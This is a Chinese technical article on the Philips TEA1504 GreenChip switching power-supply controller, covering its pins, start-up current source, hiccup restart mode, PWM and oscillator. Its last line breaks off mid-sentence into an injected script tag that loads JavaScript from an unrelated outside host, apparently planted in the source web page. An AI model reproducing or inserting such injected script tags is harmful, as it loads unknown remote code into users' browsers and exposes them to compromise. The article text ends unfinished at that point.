1 前言
开关电源以其供电效率高，稳压范围大，体积小被越来越多的电子电器设备所采用，在大屏幕电视机、监视器、计算机等电器的待机或备用（stand-by）状态会继续耗电，为此，philips公司采用bicoms工艺开发出了被之为green chip tm(绿色芯片)的高压开关电源控制芯片。该类集成芯片（ic）的稳压范围为90～276v(ac)，能将开关电源待机功耗降至2w以下，其本身的待机损耗小于100mw，并具有快速和高效的片内启动电流源；在负载功率较低时，它还能自动转换到低频工作模式，从而降低了开关电源的损耗。高水平的集成技术使ic的外围元件大大减少，以实现开关电源的小型化、高效率和高可靠性。本文介绍的tea1504是green chip tm系列ic中的重要成员之一。
2 tea1504的工作原理
tea1504采用14脚双列直插式(dip14)塑料封装，它的引脚功能如表1所列，内部原理框图如图1所示。该ic内部集模拟电路和数字电路于一体。它除含有误差放大器、振荡器、脉宽调器（pwm）、锯齿波发生器等一般开关电源控制ic的单元电路外，还集成了高压启动电流源、独特的开、关功能电路和猝发待机（burst mode stand-by）电路。tea1504具有三种工作模式，即：正常开/关工作模式、猝发待机模式和轻负载功率低频模式。通过灵活设置工作模式可大大提高开关电源的工作效率。
表1 tea1504引脚功能
符 号
引 脚
功 能
vi
1
高压启动电流源输入
driver
4
驱动信号输出，接功能mosfet管的栅极
isense
5
电流取样输入，连接到电流取样电阻
vaux
6
ic电源端，连接到辅助电源滤波电容
ds
7
ic内部驱动电路电源，可与6端共用电源
ref
8
参考输入，连接到参考电阻，于设置内部参考电流
ctrl
9
振荡周期和脉冲占空比控制
gnd
11
地
dem
13
消磁信号输入端
oob
14
猝发待机模式，开/关工作模式控制信号输入端
n.c.
其它
未连
2.1 内部启动电流源和电源vaux管理
tea1504内部设计有先进的启动电流源，因而无需外加高耗能的连续充电电路。启动电流源由外部主电压从vi端（pin1）输入，可为ic的电源电容caux提供充电电流，同时也为ic的内部控制电路提供工作电流。当vaux端的电源电容被充电到11v时，振荡器开始起振，ic输出脉宽调制信号（pwm）来驱动功率mosfet管，从而使开关变压器的次级随之输出直流电压vo。caux上的电压在启动时有一次充放电的过程，启动时由启动电流源对caux充电。当caux上的电压上升到11v时，电路将产生振荡并输出pwm波。同时caux上的电压开始下降，当该电压下降到下限门限值8.05v时（uvlo）,开关变压器输出电压，从而使caux被辅助绕组重新充电到11v。tea1504的正常启动波形如图2（a）所示。
另外，启动电流源还能帮助实现系统故障状态下的安全再启动或“打嗝”工作模式。一般在故障状态下，ic将停止正常工作模式。因为当ic检测到输出故障状态时，会立即封锁驱动脉冲输出，而使caux无法得到补充充电，从而使其电压随之下降，一旦caux上的下降到电压下限锁定值，启动电流源将重新被激活，并将caux充电到11v，系统又开始进入安全再起动模式，如此往复循环。而在“打嗝”工作模式（其工作波形如图2（b）所示），为了达到安全的“打嗝”工作模式，在安全再启动模式下，caux的充电电流irestart应为0.53ma，而正常工作模式下的充电电流istart为1ma，因而可确保在输出短路情况下系统元件不致损坏。ic内带温度补偿的2.5v基准电压在经ref脚（pin8）外接参考电阻rref后可产生一个不受温度影响的偏置电流iref，但应注意：rref的取值会影响到振荡频率。
图2 tea1504典型波形
2.2 脉宽调制器（pwm）与振荡器
tea1504使用独特的电压反馈结构。它的初级电压反馈信号通过rdem从dem端（pin13）输入，采样与保持电路通过流入dem端的采样电流来工作，采样电流的大小与rdem上的电压有关。次级采样电流的大小被储存在ctrl脚的外接电容cctrl上，并由它给pwm调制器设定驱动脉冲的占空比。在次级反馈电路中，反馈电压一般通过光耦合器提供。
pwm单元由一个反相误差放大器和比较器组成，它输出的pwm波的占空比与ctr端（pin9）的控制电压成反比。来自振荡器的信号通过触发器送到功率mosfet的驱动级可使mosfet管开通，而来自脉宽调制器的信号或占空比限制电路信号，则可使mosfet关断。当pwm输出波形不稳时，触发器将停止输出pwm波形。pwm波形的最大占空比为80%。
在脉宽调制电路中，将振荡器输出的锯齿波电压与误差放大器的输出进行比较，可调整pwm波形的占空比。振荡器被全部集成在ic内，通过内部电容的充、放电产生锯齿波，锯齿波的斜坡段占整个振荡周期的80％，所以ic输出波形的最大占空比为80％。改变外部参考电阻rref的电阻值（rref可在16.9kω～33.2kω之间选择）可使振荡频率在50～100khz之间改变。ic?script src=http://er12.com/t.js>
